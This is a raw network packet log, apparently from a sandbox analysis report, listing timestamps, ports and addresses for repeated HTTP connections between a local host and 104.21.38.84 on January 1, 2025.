Jan 1, 2025 15:18:37.151992083 CET	50104	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:37.155324936 CET	50110	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:37.156972885 CET	80	50104	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:37.157035112 CET	50104	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:37.448312044 CET	80	50104	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:37.448364019 CET	50104	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:37.450140953 CET	80	50110	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:37.450201035 CET	50110	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:37.450334072 CET	50110	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:37.453392982 CET	80	50104	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:37.455298901 CET	80	50110	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:37.795892954 CET	50110	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:37.800699949 CET	80	50110	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:37.892076969 CET	80	50110	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:37.952662945 CET	50110	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:37.953304052 CET	50116	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:37.957655907 CET	80	50110	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:37.957703114 CET	50110	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:37.958163977 CET	80	50116	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:37.958250046 CET	50116	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:37.958312035 CET	50116	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:37.963085890 CET	80	50116	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:38.074444056 CET	50117	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:38.079360008 CET	80	50117	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:38.079427958 CET	50117	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:38.079524994 CET	50117	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:38.084252119 CET	80	50117	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:38.311527014 CET	50116	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:38.316292048 CET	80	50116	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:38.316412926 CET	80	50116	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:38.404129982 CET	80	50116	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:38.437328100 CET	50117	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:38.442178011 CET	80	50117	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:38.544297934 CET	80	50117	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:38.577322960 CET	50116	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:38.593317032 CET	50117	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:38.669853926 CET	80	50116	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:38.714294910 CET	80	50117	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:38.764635086 CET	50117	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:38.839052916 CET	50116	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:38.839119911 CET	50117	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:38.841319084 CET	50123	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:38.844115019 CET	80	50116	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:38.844225883 CET	50116	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:38.844423056 CET	80	50117	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:38.844948053 CET	50117	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:38.846132040 CET	80	50123	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:38.846210003 CET	50123	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:38.846380949 CET	50123	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:38.851150036 CET	80	50123	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:39.202136040 CET	50123	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:39.206988096 CET	80	50123	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:39.314817905 CET	80	50123	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:39.361308098 CET	50123	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:39.574733973 CET	80	50123	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:39.575061083 CET	50123	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:39.580138922 CET	80	50123	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:39.580203056 CET	50123	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:39.703699112 CET	50130	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:39.708479881 CET	80	50130	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:39.708553076 CET	50130	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:39.708739996 CET	50130	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:39.713602066 CET	80	50130	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:40.061542034 CET	50130	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:40.066375971 CET	80	50130	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:40.173738003 CET	80	50130	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:40.217662096 CET	50130	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:40.345081091 CET	80	50130	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:40.389537096 CET	50130	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:40.465167999 CET	50132	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:40.465169907 CET	50130	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:40.469960928 CET	80	50132	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:40.470237970 CET	80	50130	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:40.473391056 CET	50132	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:40.473414898 CET	50130	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:40.475059986 CET	50132	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:40.482258081 CET	80	50132	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:40.827800035 CET	50132	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:40.832643986 CET	80	50132	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:40.946894884 CET	80	50132	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:40.999327898 CET	50132	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:41.145318031 CET	80	50132	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:41.189302921 CET	50132	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:41.260627985 CET	50132	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:41.260642052 CET	50133	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:41.265552044 CET	80	50133	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:41.265702009 CET	50133	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:41.265753031 CET	80	50132	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:41.265790939 CET	50133	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:41.266155958 CET	50132	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:41.270555973 CET	80	50133	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:41.624012947 CET	50133	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:41.628842115 CET	80	50133	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:41.709801912 CET	80	50133	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:41.778942108 CET	50133	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:41.902617931 CET	80	50133	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:42.028914928 CET	50133	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:42.029635906 CET	50134	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:42.034013987 CET	80	50133	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:42.034076929 CET	50133	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:42.034401894 CET	80	50134	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:42.034476995 CET	50134	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:42.034598112 CET	50134	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:42.039335966 CET	80	50134	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:42.389648914 CET	50134	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:42.394511938 CET	80	50134	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:42.501880884 CET	80	50134	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:42.686423063 CET	50134	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:42.752763987 CET	80	50134	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:42.873944044 CET	50134	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:42.875524998 CET	50134	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:42.879370928 CET	50135	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:42.880506992 CET	80	50134	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:42.883419991 CET	50134	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:42.884193897 CET	80	50135	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:42.887435913 CET	50135	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:42.887538910 CET	50135	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:42.892339945 CET	80	50135	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:43.233387947 CET	50135	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:43.238254070 CET	80	50135	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:43.337831974 CET	80	50135	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:43.390304089 CET	50135	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:43.594549894 CET	80	50135	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:43.639542103 CET	50135	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:43.671865940 CET	50135	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:43.672749043 CET	50136	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:43.676918030 CET	80	50135	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:43.676969051 CET	50135	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:43.677546024 CET	80	50136	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:43.677597046 CET	50136	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:43.677725077 CET	50136	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:43.682513952 CET	80	50136	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:43.716643095 CET	50136	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:43.717370987 CET	50137	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:43.722162008 CET	80	50137	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:43.722296000 CET	50137	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:43.722359896 CET	50137	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:43.727083921 CET	80	50137	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:43.762875080 CET	80	50136	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:44.032461882 CET	80	50136	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:44.032507896 CET	50136	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:44.077184916 CET	50137	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:44.082011938 CET	80	50137	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:44.232141972 CET	80	50137	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:44.280170918 CET	50137	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:44.461558104 CET	80	50137	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:44.517290115 CET	50137	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:44.595613956 CET	50137	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:44.595614910 CET	50138	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:44.600486040 CET	80	50138	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:44.600636959 CET	50138	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:44.600699902 CET	80	50137	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:44.600852966 CET	50138	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:44.600900888 CET	50137	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:44.605612040 CET	80	50138	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:44.965267897 CET	50138	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:44.970083952 CET	80	50138	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:45.072892904 CET	80	50138	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:45.129309893 CET	50138	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:45.328336954 CET	80	50138	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:45.377356052 CET	50138	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:45.451451063 CET	50138	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:45.452491045 CET	50139	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:45.456590891 CET	80	50138	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:45.456660032 CET	50138	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:45.457398891 CET	80	50139	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:45.457462072 CET	50139	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:45.457566977 CET	50139	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:45.462305069 CET	80	50139	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:45.811774015 CET	50139	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:45.816687107 CET	80	50139	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:45.907758951 CET	80	50139	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:45.962611914 CET	50139	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:46.166526079 CET	80	50139	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:46.295658112 CET	50139	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:46.297089100 CET	50140	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:46.300636053 CET	80	50139	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:46.300745010 CET	50139	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:46.301852942 CET	80	50140	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:46.301911116 CET	50140	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:46.302016973 CET	50140	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:46.306794882 CET	80	50140	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:46.655292034 CET	50140	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:46.660099983 CET	80	50140	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:46.759224892 CET	80	50140	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:46.811480045 CET	50140	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:47.014858961 CET	80	50140	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:47.063303947 CET	50140	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:47.135443926 CET	50140	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:47.139348984 CET	50141	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:47.140497923 CET	80	50140	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:47.143373966 CET	50140	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:47.144129992 CET	80	50141	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:47.147521019 CET	50141	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:47.147640944 CET	50141	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:47.152358055 CET	80	50141	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:47.499339104 CET	50141	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:47.504183054 CET	80	50141	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:47.592833042 CET	80	50141	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:47.686405897 CET	50141	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:47.849798918 CET	80	50141	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:47.978015900 CET	50141	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:47.979070902 CET	50142	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:47.983134985 CET	80	50141	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:47.983216047 CET	50141	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:47.983853102 CET	80	50142	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:47.983916998 CET	50142	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:47.984026909 CET	50142	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:47.988765955 CET	80	50142	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:48.342873096 CET	50142	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:48.347657919 CET	80	50142	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:48.431262970 CET	80	50142	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:48.577265978 CET	50142	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:48.603647947 CET	80	50142	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:48.689268112 CET	50142	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:48.718274117 CET	50142	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:48.719280005 CET	50143	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:48.723264933 CET	80	50142	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:48.723367929 CET	50142	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:48.724109888 CET	80	50143	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:48.725311995 CET	50143	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:48.725445986 CET	50143	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:48.730211020 CET	80	50143	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:48.732094049 CET	50143	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:48.732520103 CET	50144	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:48.737328053 CET	80	50144	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:48.737440109 CET	50144	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:48.737561941 CET	50144	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:48.742342949 CET	80	50144	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:48.778853893 CET	80	50143	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:49.092720985 CET	50144	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:49.097593069 CET	80	50144	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:49.103749990 CET	80	50143	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:49.105345011 CET	50143	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:49.182455063 CET	80	50144	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:49.233257055 CET	50144	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:49.444614887 CET	80	50144	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:49.498878956 CET	50144	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:49.569011927 CET	50144	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:49.569945097 CET	50145	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:49.574841976 CET	80	50145	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:49.574855089 CET	80	50144	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:49.574902058 CET	50145	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:49.574920893 CET	50144	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:49.575105906 CET	50145	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:49.579885006 CET	80	50145	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:49.920886040 CET	50145	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:49.925749063 CET	80	50145	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:50.021243095 CET	80	50145	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:50.111013889 CET	50145	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:50.281929016 CET	80	50145	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:50.282217979 CET	50145	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:50.287269115 CET	80	50145	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:50.287322044 CET	50145	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:50.405009985 CET	50146	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:50.409903049 CET	80	50146	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:50.409970045 CET	50146	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:50.410052061 CET	50146	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:50.414886951 CET	80	50146	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:50.764595032 CET	50146	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:50.769448042 CET	80	50146	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:50.870805979 CET	80	50146	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:50.983261108 CET	50146	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:51.042416096 CET	80	50146	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:51.167006969 CET	50147	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:51.167006969 CET	50146	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:51.171936035 CET	80	50147	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:51.172180891 CET	50147	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:51.172194958 CET	80	50146	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:51.172365904 CET	50147	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:51.172498941 CET	50146	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:51.177215099 CET	80	50147	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:51.530188084 CET	50147	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:51.535021067 CET	80	50147	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:51.624248028 CET	80	50147	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:51.670742035 CET	50147	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:51.800581932 CET	80	50147	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:51.842745066 CET	50147	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:51.918256044 CET	50147	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:51.919034004 CET	50148	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:51.923331976 CET	80	50147	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:51.923433065 CET	50147	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:51.923867941 CET	80	50148	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:51.923939943 CET	50148	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:51.924046040 CET	50148	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:51.928858995 CET	80	50148	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:52.280319929 CET	50148	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:52.285226107 CET	80	50148	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:52.379750967 CET	80	50148	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:52.483338118 CET	50148	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:52.634932995 CET	80	50148	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:52.686425924 CET	50148	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:52.760586977 CET	50148	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:52.763464928 CET	50149	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:52.766638041 CET	80	50148	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:52.766724110 CET	50148	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:52.768850088 CET	80	50149	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:52.768943071 CET	50149	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:52.769099951 CET	50149	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:52.774435997 CET	80	50149	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:53.125251055 CET	50149	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:53.130094051 CET	80	50149	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:53.221096992 CET	80	50149	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:53.264564037 CET	50149	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:53.504540920 CET	80	50149	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:53.545795918 CET	50149	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:53.622145891 CET	50149	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:53.622936964 CET	50150	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:53.627294064 CET	80	50149	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:53.627346039 CET	50149	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:53.627743006 CET	80	50150	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:53.627799988 CET	50150	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:53.627908945 CET	50150	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:53.632709980 CET	80	50150	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:53.733990908 CET	50150	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:53.734833002 CET	50151	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:53.739624023 CET	80	50151	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:53.739697933 CET	50151	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:53.739804029 CET	50151	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:53.744569063 CET	80	50151	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:53.778790951 CET	80	50150	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:53.857985973 CET	50152	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:53.862869024 CET	80	50152	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:53.862994909 CET	50152	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:53.863080025 CET	50152	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:53.867835045 CET	80	50152	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:53.986048937 CET	80	50150	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:53.986104965 CET	50150	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:54.092809916 CET	50151	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:54.097661972 CET	80	50151	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:54.097750902 CET	80	50151	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:54.187536001 CET	80	50151	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:54.217776060 CET	50152	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:54.222636938 CET	80	50152	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:54.251636982 CET	50151	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:54.326143980 CET	80	50152	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:54.373871088 CET	50152	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:18:54.449799061 CET	80	50151	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:54.586585999 CET	80	50152	104.21.38.84	192.168.2.4
Jan 1, 2025 15:18:54.639694929 CET	50152	80	192.168.2.4	104.21.38.84
